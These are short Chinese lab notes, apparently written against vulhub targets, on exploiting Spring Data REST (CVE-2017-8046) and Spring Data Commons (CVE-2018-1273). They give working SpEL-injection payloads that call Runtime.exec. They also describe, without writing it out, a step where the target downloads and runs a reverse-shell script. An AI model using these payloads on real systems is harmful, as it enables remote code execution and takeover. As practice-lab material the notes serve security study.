框架特征:如果默认报错页面没有修复,那就是长这样
一、Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)
1.访问页面/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改
[{ "op": "replace" , "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname" , "value": "vulhub" }]
2.成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令
二、spring 代码执⾏ (CVE-2018-1273)
1.访问靶场
2. 填写注册信息,bp抓包
加上POC:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/crz")]=&password=&repeatedPassword=
3.进⼊终端查看,可以看到成功写⼊
4.反弹shell
云服务器写⼀个 反弹shell 脚本
靶机下载执⾏行sh 脚本